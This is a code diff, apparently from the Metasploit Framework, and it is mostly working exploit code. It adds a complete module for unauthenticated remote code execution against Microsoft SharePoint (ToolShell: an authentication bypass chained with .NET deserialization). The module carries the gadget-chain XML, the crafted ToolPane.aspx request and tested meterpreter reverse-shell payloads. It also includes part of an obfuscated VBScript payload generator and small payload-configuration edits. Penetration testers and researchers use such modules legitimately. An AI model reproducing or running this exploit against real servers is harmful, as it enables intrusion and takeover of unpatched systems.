||||
# (not a single command).
|
||||
if escaped_payload.include?(' & ')
|
||||
cmd = "cmd.exe /c #{escaped_payload}"
|
||||
else
|
||||
cmd = escaped_payload
|
||||
end
|
||||
|
||||
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
|
||||
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
|
||||
if obfuscate
|
||||
vbs << obfuscate_vbscript(vbs_payload)
|
||||
else
|
||||
vbs << vbs_payload
|
||||
end
|
||||
|
||||
vbs
|
||||
end
|
||||
|
||||
def exploit
|
||||
vbs = generate_vbscript(
|
||||
payload.encoded,
|
||||
prepend_benign_code: datastore['PrependBenignCode'],
|
||||
prepend_new_lines: datastore['PrependNewLines'],
|
||||
obfuscate: datastore['OBFUSCATE']
|
||||
)
|
||||
file_create(vbs)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,336 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
|
||||
'Description' => %q{
|
||||
This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe
|
||||
deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft
|
||||
SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,
|
||||
and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.
|
||||
As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),
|
||||
we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
|
||||
# Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771.
|
||||
'Viettel Cyber Security',
|
||||
# Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704.
|
||||
'sfewer-r7'
|
||||
],
|
||||
'References' => [
|
||||
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
|
||||
['CVE', '2025-49704'],
|
||||
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
|
||||
['CVE', '2025-49706'],
|
||||
# Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path.
|
||||
['CVE', '2025-53770'],
|
||||
# Patch bypass for CVE-2025-49706.
|
||||
['CVE', '2025-53771'],
|
||||
# Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
|
||||
['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
|
||||
# LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704.
|
||||
['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'],
|
||||
# Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky.
|
||||
['URL', 'https://securelist.com/toolshell-explained/'],
|
||||
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
|
||||
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
|
||||
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
|
||||
# Microsoft advisories for CVE-2025-49704 and CVE-2025-49706.
|
||||
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'],
|
||||
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'],
|
||||
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771.
|
||||
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
|
||||
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
|
||||
# Microsoft Guidance.
|
||||
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'],
|
||||
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
|
||||
# The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025.
|
||||
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
|
||||
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
|
||||
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
|
||||
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
|
||||
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
|
||||
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
|
||||
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
|
||||
],
|
||||
'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706.
|
||||
'Platform' => ['win'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => false, # Executes as the SharePoint site user.
|
||||
'Targets' => [
|
||||
[
|
||||
'Default', {}
|
||||
]
|
||||
],
|
||||
# NOTE: Tested with the following payloads:
|
||||
# cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
# cmd/windows/generic
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 80,
|
||||
'SSL' => false,
|
||||
# Delete the fetch binary after execution.
|
||||
'FETCH_DELETE' => true,
|
||||
# The root path of the SharePoint site
|
||||
'URIPATH' => '/'
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
|
||||
)
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
|
||||
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
|
||||
|
||||
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
|
||||
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
|
||||
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
|
||||
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
|
||||
|
||||
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
|
||||
|
||||
version = Rex::Version.new(site_client_tag[1])
|
||||
|
||||
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
|
||||
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
|
||||
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
|
||||
# from July 2025).
|
||||
# Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint
|
||||
# configuration update has not also manually occurred.
|
||||
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
|
||||
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
|
||||
|
||||
ranges = [
|
||||
[
|
||||
'Microsoft SharePoint Server Subscription Edition',
|
||||
'16.0.14326.20450', # The RTM version (circa 2021)
|
||||
'16.0.18526.20424' # July 2025
|
||||
],
|
||||
[
|
||||
'Microsoft SharePoint Server 2019',
|
||||
'16.0.10337.12109', # The RTM version (circa 2019)
|
||||
'16.0.10417.20027' # July 2025
|
||||
],
|
||||
[
|
||||
'Microsoft SharePoint Enterprise Server 2016',
|
||||
'16.0.4351.1000', # The RTM version (circa 2017)
|
||||
'16.0.5508.1000' # July 2025
|
||||
],
|
||||
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
|
||||
[
|
||||
'SharePoint Server 2013',
|
||||
'15.0.4481.1005',
|
||||
'15.0.5545.1000' # Last version before end of support.
|
||||
],
|
||||
[
|
||||
'SharePoint Server 2010',
|
||||
'14.0.7015.1000',
|
||||
'14.0.7268.5000' # Last version before end of support.
|
||||
]
|
||||
]
|
||||
|
||||
ranges.each do |product, rtm_version, patch_version|
|
||||
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
|
||||
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
|
||||
end
|
||||
end
|
||||
|
||||
# If we get here, it's a patched version.
|
||||
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
gadget_raw = create_gadget_chain
|
||||
send_exploit(gadget_raw)
|
||||
end
|
||||
|
||||
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
|
||||
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
|
||||
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
|
||||
# TypeConfuseDelegate gadget chain).
|
||||
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
|
||||
|
||||
def self.generate(nested_gadget_b64)
|
||||
name_a = Rex::Text.rand_text_alpha_lower(8..16)
|
||||
name_b = Rex::Text.rand_text_alpha_lower(8..16)
|
||||
name_c = Rex::Text.rand_text_alpha_lower(8..16)
|
||||
|
||||
# The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
|
||||
# LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second
|
||||
# stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
|
||||
schema = <<~EOF
|
||||
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
|
||||
<xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
|
||||
<xs:complexType>
|
||||
<xs:choice minOccurs="0" maxOccurs="unbounded">
|
||||
<xs:element name="#{name_b}">
|
||||
<xs:complexType>
|
||||
<xs:sequence>
|
||||
<xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
|
||||
</xs:sequence>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:choice>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
EOF
|
||||
|
||||
diffgram = <<~EOF
|
||||
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
|
||||
<#{name_a}>
|
||||
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
|
||||
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
|
||||
<ExpandedElement/>
|
||||
<ProjectedProperty0>
|
||||
<MethodName>Deserialize</MethodName>
|
||||
<MethodParameters>
|
||||
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
|
||||
</MethodParameters>
|
||||
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
|
||||
</ProjectedProperty0>
|
||||
</ExpandedWrapperOfLosFormatterObjectDataProvider>
|
||||
</#{name_c}>
|
||||
</#{name_b}>
|
||||
</#{name_a}>
|
||||
</diffgr:diffgram>
|
||||
EOF
|
||||
|
||||
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
|
||||
|
||||
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
|
||||
library_id: 2,
|
||||
library_name: system.to_s
|
||||
)
|
||||
|
||||
from_values([
|
||||
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
|
||||
library,
|
||||
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
|
||||
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
|
||||
obj_id: 1,
|
||||
name: 'System.Data.DataSet',
|
||||
member_names: %w[XmlSchema XmlDiffGram]
|
||||
),
|
||||
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
|
||||
binary_type_enums: %i[String String]
|
||||
),
|
||||
library_id: library.library_id,
|
||||
member_values: [
|
||||
Msf::Util::DotNetDeserialization::Types::Record.from_value(
|
||||
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
|
||||
obj_id: 3,
|
||||
string: schema
|
||||
)
|
||||
),
|
||||
Msf::Util::DotNetDeserialization::Types::Record.from_value(
|
||||
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
|
||||
obj_id: 2,
|
||||
string: diffgram
|
||||
)
|
||||
),
|
||||
]
|
||||
),
|
||||
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
def create_gadget_chain
|
||||
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
|
||||
#
|
||||
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
|
||||
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
|
||||
#
|
||||
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
|
||||
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
|
||||
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
|
||||
|
||||
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
|
||||
payload.encoded,
|
||||
gadget_chain: :TypeConfuseDelegate,
|
||||
formatter: :LosFormatter
|
||||
)
|
||||
|
||||
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
|
||||
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
|
||||
|
||||
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
|
||||
|
||||
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
|
||||
|
||||
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
|
||||
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
|
||||
|
||||
dataset_gadget_raw
|
||||
end
|
||||
|
||||
def send_exploit(gadget_raw)
|
||||
gadget_gzip = StringIO.new
|
||||
|
||||
gzip = Zlib::GzipWriter.new(gadget_gzip)
|
||||
gzip.write(gadget_raw)
|
||||
gzip.close
|
||||
|
||||
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
|
||||
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
|
||||
|
||||
xml = <<~EOF
|
||||
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
|
||||
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
|
||||
<#{namespace_ui}:UpdateProgress>
|
||||
<ProgressTemplate>
|
||||
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
|
||||
</ProgressTemplate>
|
||||
</#{namespace_ui}:UpdateProgress>
|
||||
EOF
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(
|
||||
target_uri.path,
|
||||
'_layouts',
|
||||
'15',
|
||||
'ToolPane.aspx',
|
||||
Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
|
||||
),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' => {
|
||||
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
|
||||
},
|
||||
'vars_get' => {
|
||||
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
|
||||
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
|
||||
},
|
||||
'vars_post' => {
|
||||
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
|
||||
'MSOTlPn_DWP' => xml
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Payload' => {
|
||||
'DisableNops' => true,
|
||||
'Space' => 730,
|
||||
'Space' => 1200,
|
||||
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
|
||||
'StackAdjustment' => -3500,
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
|
||||
|
||||
@@ -10,7 +10,7 @@ module MetasploitModule
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::Android
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
||||
@@ -10,7 +10,7 @@ module MetasploitModule
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::Android
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
||||
@@ -9,7 +9,7 @@ module MetasploitModule
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Android
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::Android
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
||||
@@ -8,7 +8,7 @@ module MetasploitModule
|
||||
CachedSize = 861968
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::AppleIos
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user